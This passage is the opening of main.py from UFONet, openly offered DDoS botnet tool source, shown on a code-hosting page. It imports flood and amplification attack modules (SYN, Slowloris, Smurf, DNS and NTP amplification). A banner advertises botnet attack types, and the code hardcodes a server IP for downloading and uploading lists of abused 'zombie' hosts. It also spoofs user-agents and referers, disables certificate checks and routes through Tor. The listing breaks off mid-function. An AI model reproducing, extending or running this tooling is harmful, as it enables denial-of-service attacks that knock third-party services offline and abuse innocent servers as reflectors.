main.py 253 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. DEBUG = False # use 'True' for detailed traceback
  41. class UFONet(object):
  42. def __init__(self):
  43. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  44. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  45. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  46. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  47. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  48. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  49. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  50. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  51. self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  52. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  53. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  54. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  55. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  56. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  57. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  58. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  59. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  60. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  61. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  62. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  63. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  64. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  65. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  66. self.timeline_file = 'docs/VERSION' # set source for code releases
  67. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  68. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  69. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  70. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  71. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  72. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  73. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  74. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  75. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  76. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  77. self.referer = '' # black magic
  78. self.port = "8080" # default injection port
  79. self.mothershipname = "core/txt/shipname.txt"
  80. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  81. self.mothership_baptism() # generating static name/id for your mothership ;-)
  82. self.head = False
  83. self.payload = False
  84. self.external = False
  85. self.attack_mode = False
  86. self.connection_failed = False
  87. self.total_possible_zombies = 0
  88. self.herd = Herd(self)
  89. self.sem = False
  90. self.db_flash = 0 # db stress counter
  91. self.total_aliens = 0
  92. self.aliens_hit = 0
  93. self.aliens_fail = 0
  94. self.total_droids = 0
  95. self.droids_hit = 0
  96. self.droids_fail = 0
  97. self.total_ucavs = 0
  98. self.ucavs_hit = 0
  99. self.ucavs_fail = 0
  100. self.total_rpcs = 0
  101. self.rpcs_hit = 0
  102. self.rpcs_fail = 0
  103. self.total_loic = 0
  104. self.total_loris = 0
  105. self.total_syn = 0
  106. self.total_spray = 0
  107. self.total_smurf = 0
  108. self.total_xmas = 0
  109. self.total_nuke = 0
  110. self.total_tachyon = 0
  111. self.total_monlist = 0
  112. self.total_zombies_failed_connection = 0
  113. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  114. self.ctx.check_hostname = False
  115. self.ctx.verify_mode = ssl.CERT_NONE
  116. self.nat_error_flag = "OFF"
  117. self.trans_zombies = 0
  118. self.scanned_zombies = 0
  119. self.loadcheck_counter = 0
  120. self.loadcheck_prev_size = None
  121. self.loadcheck_prev_load = None
  122. self.loadcheck_first_size = None
  123. self.loadcheck_first_load = None
  124. self.loadcheck_size_list = []
  125. self.loadcheck_load_list = []
  126. self.loadcheck_size_median = None
  127. self.loadcheck_size_max = None
  128. self.loadcheck_size_min = None
  129. self.loadcheck_load_median = None
  130. self.loadcheck_size_max = None
  131. self.loadcheck_size_min = None
  132. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  133. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  134. self.expire_timing = 30 # default expiring time per round
  135. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  136. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  137. def mothership_baptism(self):
  138. if os.path.exists(self.mothershipname) == True:
  139. f = open(self.mothershipname)
  140. self.mothership_id = f.read()
  141. f.close()
  142. else:
  143. self.mothership_ids = []
  144. try:
  145. f = open(self.motherships_file)
  146. motherships = f.readlines()
  147. f.close()
  148. for ship in motherships:
  149. ship = ship.encode("utf-8")
  150. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  151. try:
  152. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  153. except:
  154. try:
  155. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  156. except:
  157. self.mothership_id = self.default_mothership_name
  158. except:
  159. self.mothership_id = self.default_mothership_name
  160. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  161. self.mothership_id = self.default_mothership_name
  162. m = open(self.mothershipname, "w") # write mothership name to a static file
  163. m.write(str(self.mothership_id.upper()))
  164. m.close()
  165. def create_options(self, args=None):
  166. self.optionParser = UFONetOptions()
  167. self.options = self.optionParser.get_options(args)
  168. if not self.options:
  169. return False
  170. return self.options
  171. def banner_welcome(self):
  172. print("")
  173. print(" 0=============================================0")
  174. print(" + (XX) + || ||")
  175. print(" || *~~~~~~~~* || || * Botnet -> [DDoS]: ||")
  176. print(" -(00)- (0) (0) -(00)- || /ZOMBIES : HTTP GET bots ||")
  177. print(" || \| (00) |/ || || /DROIDS : HTTP GET (+params) bots ||")
  178. print(" (O)_ (O) 0'----'0 (O) _(O) || /ALIENS : HTTP POST bots ||")
  179. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  180. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  181. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP Database flooder ||")
  182. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  183. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  184. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  185. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  186. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  187. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  188. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  189. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  190. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  191. print(" .'_.-| YY |-._'. || /XMAS : TCP-XMAS flooder ||")
  192. print(" || /NUKE : TCP-STARVATION attack ||")
  193. print(" + Class: UFONet / ViPR404+ (model H) + || ||")
  194. print(" 0|===========================================|0")
  195. print("")
  196. def banner(self):
  197. print('='*75, "\n")
  198. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  199. print("888 888 888 d88P Y888b 8888b 888 888 ")
  200. print("888 888 888 888 888 88888b 888 888 ")
  201. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  202. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  203. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  204. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  205. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  206. print(self.optionParser.description, "\n")
  207. print('='*75)
  208. def generate_exit_msg(self):
  209. self.exit_msg = "Generating random exit... \n\n"
  210. try:
  211. f = open(self.misc_file)
  212. m = f.readlines()
  213. f.close()
  214. self.exit_msg += " -> "+str(random.choice(m).strip())
  215. except:
  216. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  217. def AI(self):
  218. try:
  219. import turtle as AI
  220. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  221. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  222. bg = random.choice(colors).strip()
  223. t = AI.Pen()
  224. AI.bgcolor(bg)
  225. r = random.randrange(100,100000)
  226. for x in range(r):
  227. t.pencolor(colors[x%6])
  228. w = random.randrange(100,1000)
  229. t.width(x/w + 1)
  230. t.forward(x)
  231. l = random.randrange(50,1000)
  232. t.left(l)
  233. except:
  234. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  235. pass
  236. def round_float(self, num):
  237. return str(int(round(num, -1)))[2] # black magic
  238. def show_mac_address(self):
  239. mac = getnode() # to get physical address
  240. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  241. return hex_mac
  242. def show_ips(self):
  243. import requests
  244. try:
  245. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  246. s.connect(("8.8.8.8", 80))
  247. private_ip = s.getsockname()[0] # black magic
  248. s.close()
  249. except:
  250. private_ip = "Unknown"
  251. try:
  252. public_ip = requests.get(self.check_ip_service3).text
  253. except:
  254. try:
  255. public_ip = requests.get(self.check_ip_service2).text
  256. except:
  257. try:
  258. public_ip = requests.get(self.check_ip_service1).text
  259. except:
  260. public_ip = "Unknown"
  261. return private_ip, public_ip
  262. def try_running(self, func, error, args=None):
  263. options = self.options
  264. args = args or []
  265. try:
  266. return func(*args)
  267. except Exception as e:
  268. if DEBUG == True:
  269. print(error, "error")
  270. traceback.print_exc()
  271. def checkeuid(self):
  272. try:
  273. euid = os.geteuid()
  274. except:
  275. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  276. print("[AI] "+self.exit_msg+"\n")
  277. sys.exit(2) # return
  278. return euid
  279. def start_ship_engine(self):
  280. self.agents = [] # generating available user-agents
  281. f = open(self.agents_file)
  282. agents = f.readlines()
  283. f.close()
  284. for agent in agents:
  285. self.agents.append(agent)
  286. self.user_agent = random.choice(self.agents).strip()
  287. self.search_engines = [] # available dorking search engines
  288. self.search_engines.append('bing') # [01/02/2020: OK!]
  289. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  290. self.search_engines.append('duck') # [01/02/2020: OK!]
  291. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  292. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  293. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  294. if not os.path.exists("core/json/"): # create gui json cfg files folder
  295. os.mkdir("core/json/")
  296. self.banner_welcome()
  297. self.update_flying_stats() # update flying time stats
  298. chargo = self.check_mothership_chargo() # check mothership chargo
  299. self.update_max_chargo(int(chargo)) # update max chargo stats
  300. self.generate_exit_msg() # generate random exit msg
  301. def run(self, opts=None):
  302. if opts:
  303. self.create_options(opts)
  304. options = self.options
  305. # start threads
  306. if not self.options.threads:
  307. self.options.threads=5 # default number of threads
  308. self.sem = threading.Semaphore(self.options.threads)
  309. # start ship engine
  310. self.start_ship_engine()
  311. # check proxy options
  312. proxy = options.proxy
  313. if options.proxy:
  314. try:
  315. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  316. m = re.search(pattern, proxy)
  317. if m is None:
  318. self.banner()
  319. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  320. return
  321. else:
  322. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  323. except Exception:
  324. self.banner()
  325. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  326. return
  327. # check tor connection
  328. if options.checktor:
  329. url = self.check_tor_url # TOR status checking site
  330. self.banner()
  331. print("\nSending request to: " + url + "\n")
  332. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  333. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  334. try:
  335. if options.proxy: # set proxy
  336. self.proxy_transport(options.proxy)
  337. req = urllib.request.Request(url, None, headers)
  338. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  339. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  340. if not tor_reply or 'Congratulations' not in tor_reply:
  341. print("It seems that Tor is not properly set.\n")
  342. print(("IP address appears to be: " + your_ip + "\n"))
  343. else:
  344. print("Congratulations!. Tor is properly being used :-)\n")
  345. print(("IP address appears to be: " + your_ip + "\n"))
  346. except:
  347. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  348. sys.exit(2) # return
  349. # run AES256+HMAC-SHA1 enc/dec tool
  350. if options.cryptomsg:
  351. from core.tools.crypter import Cipher
  352. print(" " + '='*44)
  353. print(" ")
  354. print(" ____...------------...____ ")
  355. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  356. print(" .' / / \ \ '. ")
  357. print(" |=====/o/======================\o\=====| ")
  358. print(" |____/_/________..____..________\_\____| ")
  359. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  360. print(" \__/_____\####/0213411543/####/_____\__/ ")
  361. print(" |===\!/========================\!/===| ")
  362. print(" | |=| .---. |=| | ")
  363. print(" |===|o|=========/ \========|o|===| ")
  364. print(" | | | \() ()/ | | | ")
  365. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  366. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  367. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  368. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  369. print(" '''''''''''''''''''''''''''''''''''''' ")
  370. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  371. print(" (140 plain text chars = 69 encrypted chars)\n")
  372. print(" " + '='*44 + "\n")
  373. text = str(input("-> Enter TEXT: "))
  374. input_key = str(input("\n-> Enter KEY: "))
  375. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  376. c = Cipher(key, text)
  377. msg = c.encrypt()
  378. msg = msg.decode('utf-8')
  379. c.set_text(msg)
